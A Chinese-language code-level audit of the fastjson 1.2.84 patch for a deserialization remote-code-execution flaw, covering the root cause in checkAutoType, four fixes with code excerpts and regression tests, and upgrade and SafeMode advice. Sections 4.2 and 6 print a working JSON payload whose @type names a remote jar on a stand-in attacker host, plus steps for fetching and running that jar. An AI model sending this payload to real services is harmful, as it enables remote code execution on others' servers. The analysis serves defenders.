fastjson 1.2.84 反序列化 RCE 漏洞修复审计分析
本文基于 fastjson
1.2.83与1.2.84两个 tag 源码的逐文件 diff,结合官方安全公告(CVE-2026-16723)与 fastjson2 PR #7703,对 1.2.84 修复的反序列化 RCE 漏洞进行代码级审计。本文仅作安全审计与防御参考。
1. 漏洞概述
项目:内容
漏洞编号:CVE-2026-16723
严重等级:🔴 Critical(严重)
影响版本:fastjson 1.2.68 – 1.2.83(含最后一个 1.x 版本 1.2.83)
修复版本:fastjson 1.2.84(2026-07-29 发布)
触发条件:默认配置即可触发:AutoType 关闭 + SafeMode 关闭
部署前提:目标运行在 Spring Boot 可执行 fat-jar 模式(java -jar xxx.jar)
验证环境:Spring Boot 2.x/3.x/4.x,JDK 8/11/17/21
发现者:FearsOff Cybersecurity 的 Kirill Firsov(负责任披露)
核心结论:攻击者把 @type 写成一个远程 JAR 地址(如 jar:http://attacker/evil.jar!/Evil),fastjson 1.x 的 checkAutoType 会对用户可控的类型名做 getResourceAsStream 资源探测;在 Spring Boot fat-jar 环境下类加载器能够解析这类地址,导致远程类被拉取加载、静态初始化块执行 → RCE。整个过程不需要 classpath 上存在任何 gadget 类。
2. 背景:fastjson autoType 机制简史
- fastjson 支持在 JSON 中通过
@type字段指定反序列化目标 Java 类。 - 1.2.68 之前的版本因 autoType 黑名单可被绕过,爆发多轮 RCE(TemplatesImpl / JdbcRowSetImpl 等 gadget 链)。
- 1.2.68 之后,
checkAutoType增加了一步预检:用@type的类名做一次资源探测(getResourceAsStream),检查目标类上是否有@JSONType注解,有则视为”可信”,放行。这一步正是本次漏洞的根因——它把用户可控的字符串直接送进了类加载器。 - 1.2.83(2022-12)曾修复 CVE-2022-25845(autoType 黑名单绕过)。
- 2026-07,长亭科技(Changting Tech)再次报告 autoType 加固问题;fastjson 官方发布 1.2.84,定位为 1.x 架构线”终极安全维护版本”,把 fastjson2 的 AutoType 加固(PR #7703)整体回移到 1.2.x。
3. 源码获取与版本对比
- 源码:GitHub tag
1.2.83(26f13f84)与1.2.84(72553ed7) - 递归 diff 结果:仅 4 个文件不同
Files .../fastjson-1.2.83/pom.xml and .../fastjson-1.2.84/pom.xml differ
Files .../ParserConfig.java and .../ParserConfig.java differ
Files .../util/TypeUtils.java and .../util/TypeUtils.java differ
Only in .../1.2.84/src/test/java/com/alibaba/json/bvt/parser/autoType: AutoTypeValidationTest.java
文件:变更性质
pom.xml:版本号、构建配置(无安全意义)
parser/ParserConfig.java:核心修复:checkAutoType / addAccept
util/TypeUtils.java:新增 3 个方法 + loadClass 加固
AutoTypeValidationTest.java(新增):6 个回归测试,直接证明修复行为
4. 漏洞根因分析(1.2.83 代码)
4.1 关键代码路径:ParserConfig.checkAutoType
1.2.83 中,checkAutoType(String typeName, Class<?> expectClass, int features) 的流程(行号以 1.2.83 源码为准):
// L1482-1488:★ 漏洞根因 —— 用户可控类名的资源探测
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class"; // 用户可控
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource); // ← 远程 URL 在此被解析
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType(); // 有 @JSONType 注解 → 视为可信
}
} catch (Exception e) { /* skip */ } finally { IOUtils.close(is); }
// L1500-1503:探测命中 @JSONType 后,用原始 typeName 直接加载
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
TypeUtils.loadClass(1.2.83,L1735 起)把 className 原样传给各级类加载器,没有任何格式校验:
// L1760-1766 / L1771-1779 / L1783-1788
clazz = classLoader.loadClass(className); // ← jar:http://...!/... 原样进入
clazz = contextClassLoader.loadClass(className);
clazz = Class.forName(className);
4.2 触发链条(公开资料 + 代码对照)
- 攻击者托管
evil.jar,内含带@JSONType注解、且静态初始化块(<clinit>)包含恶意代码的类Evil; - 攻击者向目标接口发送:
“`json
{“@type”:”jar:http://attacker.example/evil.jar!/Evil”}
“`
checkAutoType走到资源探测(L1482),getResourceAsStream收到含jar:URL 语义的名称;- Spring Boot fat-jar 部署下,类加载器(
LaunchedURLClassLoader)能够解析jar:http://...!/...形式的地址 → 拉取远程 JAR; - 远程类被加载,
<clinit>静态初始化块执行 → 攻击者代码运行(RCE)。
4.3 为什么默认配置即可触发
autoTypeSupport(SupportAutoType)默认关闭,但资源探测(L1482)不依赖该开关,任何@type都会先经过探测;expectClassFlag/jsonType分支(L1500)把加载路径和”是否开启 autoType”解耦;- 指定目标 Class(如
JSON.parseObject(body, SomeDto.class))不是缓解措施——攻击者可通过 DTO 中Object/Map类型的字段嵌套 payload; - 无需任何 classpath gadget 类,与历史上 TemplatesImpl / JdbcRowSetImpl 链有本质区别。
4.4 影响面限定
条件:是否受影响
Spring Boot 可执行 fat-jar(java -jar):✅ 受影响(触发前提)
plain java -jar、uber-jar、Tomcat/Jetty WAR:❌ 不满足触发条件
SafeMode = true:❌ 在探测前拒绝所有 @type
fastjson ≤ 1.2.60:❌ 不存在该代码路径
fastjson2 全版本:❌ 架构上无资源探测
5. 1.2.84 修复分析(逐条对应 diff)
修复点 1:拒绝 URL 特殊字符类型名(主修复)
TypeUtils.java(1.2.84)新增:
public static boolean hasIllegalTypeNameChars(String typeName) {
return typeName.indexOf(':') >= 0 || typeName.indexOf('!') >= 0;
}
- Java 二进制类名中不可能出现
:或!,但嵌套 jar URL(jar:http://host/x.jar!/)依赖它们; ParserConfig.checkAutoType(L1363-1367)在任何资源探测/类加载之前直接拒绝:
if (TypeUtils.hasIllegalTypeNameChars(typeName)) {
throw new JSONException("autoType is not support. " + typeName);
}
TypeUtils.loadClass同步加固:含:/!的名称直接返回null,不咨询任何类加载器:
if (hasIllegalTypeNameChars(className)) {
return null;
}
对应回归测试:
test_illegal_type_name_chars_checkAutoType、test_illegal_type_name_chars_autoTypeSupport、test_loadClass_never_sees_url_names、test_jsonld_type_iri_rejected(后两个用记录型 ClassLoader 验证名称从未到达类加载器)。
修复点 2:白名单 hash 命中后文本回验
1.2.83 的白名单机制:把 accept 条目哈希后存入 acceptHashCodes 数组,checkAutoType 用滚动哈希逐前缀二分查找——只比哈希,不比文本,理论上 FNV-1a 64 碰撞即可把任意前缀”洗白”。
1.2.84 引入 acceptNameSet(L145-149,与哈希数组并行维护的真实文本集合):
private volatile Set<String> acceptNameSet = Collections.emptySet();
白名单分支命中后,先验证前缀文本确在集合中,否则继续扫描:
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (!acceptNameSet.contains(TypeUtils.normalizeAcceptName(className.substring(0, i + 1)))) {
continue; // 哈希碰撞不再构成放行
}
...
}
对应测试:
test_accept_hash_collision_rejected(反射注入碰撞哈希com.evil.,验证被拒绝)与test_accept_entry_resolves(真实条目 +$/.嵌套类两种写法均可解析)。
修复点 3:accept 前缀不再覆盖危险基类
1.2.83 的白名单前缀分支(L1402-1406、L1463-1475)命中后立即 return,绕过了 L1513-1518 的兜底黑名单检查(ClassLoader / javax.sql.DataSource / javax.sql.RowSet)。也就是说:配置了 accept 前缀(如 com.myapp.)反而比没有白名单检查更弱——前缀下任何类(包括 ClassLoader/DataSource 子类)都会被放行。
1.2.84 新增 isAutoTypeDenyClass:
public static boolean isAutoTypeDenyClass(Class<?> type) {
return ClassLoader.class.isAssignableFrom(type)
|| javax.sql.DataSource.class.isAssignableFrom(type)
|| javax.sql.RowSet.class.isAssignableFrom(type);
}
前缀匹配且类属于危险基类时继续扫描(拒绝);只有完整类名的 accept 条目才是显式放行:
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, i + 1 == className.length());
if (clazz != null) {
if (i + 1 < className.length() && TypeUtils.isAutoTypeDenyClass(clazz)) {
continue; // 前缀命中危险基类 → 拒绝
}
return clazz;
}
对应测试:
test_accept_prefix_does_not_cover_deny_class(accept 前缀...autoType.下放一个EvilClassLoader子类 → 拒绝)与test_accept_full_name_opt_in(完整类名条目 → 显式放行)。
修复点 4:黑名单类不再被类缓存”复活”
1.2.83 中 loadClass(typeName, ..., true) 会在 mappings 中缓存类(含危险类),且最终兜底分支 cacheClass = autoTypeSupport || jsonType 也会缓存;重复调用 checkAutoType 时 L1418 直接从缓存命中,存在绕过黑名单检查的路径。
1.2.84 的处置:
- 白名单分支只允许全名命中时缓存(
cache = (i + 1 == className.length())); - 兜底加载一律
loadClass(typeName, defaultClassLoader, false)(L1552),放行路径显式调用TypeUtils.addMapping:
// L1548-1553
if (autoTypeSupport || jsonType || expectClassFlag) {
// never cache here: a deny class must not be served from the class mapping cache
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
对应测试:
test_deny_class_not_cached_after_rejection(第一次拒绝后,第二次调用仍拒绝,且getClassFromMapping为空)。
6. 利用方式汇总(基于公开资料,仅限审计学习)
Payload 形态:
{"@type":"jar:http://attacker.example/evil.jar!/EvilClass"}
攻击步骤:
- 攻击者准备
evil.jar:包含@JSONType注解的类EvilClass,其静态初始化块执行恶意逻辑(如反弹 shell、下载执行); - 托管到公网 HTTP 服务器;
- 向目标接口发送上述 JSON(
JSON.parse/JSON.parseObject任意入口); - fat-jar 类加载器解析
jar:URL → 拉取远程 JAR → 类加载 →<clinit>执行 → RCE。
前置条件清单:
- ☐ 目标使用 fastjson 1.2.68 – 1.2.83
- ☐ 目标为 Spring Boot 可执行 fat-jar 部署
- ☐ 未开启 SafeMode(默认即未开启)
- ☐ 攻击者可控任意 JSON 解析入口
与经典 fastjson 攻击的区别:
维度:历史 gadget 链(TemplatesImpl / JdbcRowSetImpl) | CVE-2026-16723
是否需开启 autoType:通常需要 | 不需要(默认配置)
是否需 classpath gadget:需要(commons-collections 等) | 不需要
攻击入口:反序列化某类型字段 | 任意 @type(含嵌套字段)
触发前提:黑名单绕过技巧 | Spring Boot fat-jar
7. 修复建议
优先级:措施 | 说明
P0:升级至 1.2.84 | com.alibaba:fastjson:1.2.84,官方安全修复版本
P0:或启用 SafeMode | -Dfastjson.parser.safeMode=true,或 ParserConfig.getGlobalInstance().setSafeMode(true),或 fastjson.properties
P0:或切换 noneautotype 构建 | com.alibaba:fastjson:1.2.83_noneautotype(漏洞代码编译期移除)
P1:迁移至 fastjson2 | 架构上无资源探测路径,默认配置即安全
常规:避免显式开启 SupportAutoType | 已废弃,如确需 autoType 用严格白名单
8. 参考资料
- Security Advisory: Remote Code Execution in fastjson 1.2.68–1.2.83(官方安全公告,CVE-2026-16723)
- fastjson2 PR #7703:strengthen autoType type name validation and whitelist verification
- fastjson 1.2.84 Release Notes(GitHub Releases)
- fastjson 1.2.84 发布解读(pig4cloud blog)
- 本地源码:
/Users/mac/Documents/01-code/fastjson-1.2.83与fastjson-1.2.84